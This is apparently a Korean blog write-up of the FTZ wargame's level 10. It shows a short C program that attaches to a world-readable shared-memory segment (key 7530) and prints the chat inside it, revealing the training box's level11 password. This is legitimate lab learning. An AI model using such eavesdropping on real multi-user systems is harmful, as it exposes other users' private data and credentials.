일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- requests
- Shadow 동아리
- termux
- Hackerschool
- 보안뉴스
- SQL Injection
- CodeEngn
- 웹해킹
- Python
- buffer over flow
- 어셈블리어
- Linux
- RITSEC CTF 2019
- BOF
- ctf
- reversing
- RITSEC
- 버퍼오버플로우
- x64dbg
- ftz
- 리버싱
- webhacking
- writeup
- Nop Slide
- 리눅스
- 뉴스클리핑
- NewsClipping
- Next.js
- PWN
- HackCTF
Archives
- Today
- Total
Jaeseo's Information Security Story
FTZ - level10 - WriteUp 본문
FTZ - level10 - WriteUp
level10:interesting to hack!
hint 파일을 봅니다.
[level10@ftz level10]$ cat hint
두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며,
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여
level11의 권한을 얻어라.
- 레벨을 완료하셨다면 소스는 지우고 나가주세요.
힌트 파일을 보면 공유메모리에 대한 프로그래밍을 하고 key_t
를 가지고 대화를 살펴 보라는 문제로 보입니다.
일단 c로 공유메모리 프로그램을 하기 위해 인터넷을 통해 검색을 해보았습니다.
위의 링크에 매우 자세히 설명이 되어 있어서 참고하면서 프로그래밍을 하였습니다.
ipcs -m
명령어를 통해 살펴본 결과 아래와 같이 실제로 공유 메모리를 사용하는 모습을 볼 수가 있습니다.
[level10@ftz level10]$ ipcs -m
------ Shared Memory Segments --------
key shmid owner perms bytes nattch status
0x00001d6a 0 root 666 1028 0
이제 프로그래밍을 해봅니다.
#include <stdio.h>
#include <sys/shm.h>
int main(int argc, char const *argv[]) {
int shmid;
char* shared_memory;
shmid = shmget(7530,1024,0666);
//shmget를 통해 key_t=7530의 최소 데이터를 1024만큼으로 0666의 권한으로 shmid 가져온다.
shared_memory = shmat(shmid,0,0); //shmid를 가지고 읽기/쓰기 권한으로 데이터를 가져온다.
printf("%s", shared_memory); //출력을 해준다.
shmdt(shared_memory); //shared_memory의 연결을 해제한다.
return 0;
}
gcc test.c -o test.out
를 통해 컴파일을 하고 실행을 하면 아래와 같이 공유메모리의 데이터를 볼 수 있
습니다.
[level10@ftz tmp]$ ./test.out
멍멍: level11의 패스워드는?
구타: what!@#$?
level11:what!@#$?
'Write UP > FTZ' 카테고리의 다른 글
FTZ - level12 - WriteUp (0) | 2019.11.18 |
---|---|
FTZ - level11 - WriteUp (0) | 2019.11.15 |
FTZ - level9 - WriteUp (0) | 2019.11.12 |
FTZ - level8 - WriteUp (0) | 2019.11.11 |
FTZ - level7 - WriteUp (0) | 2019.11.11 |
Comments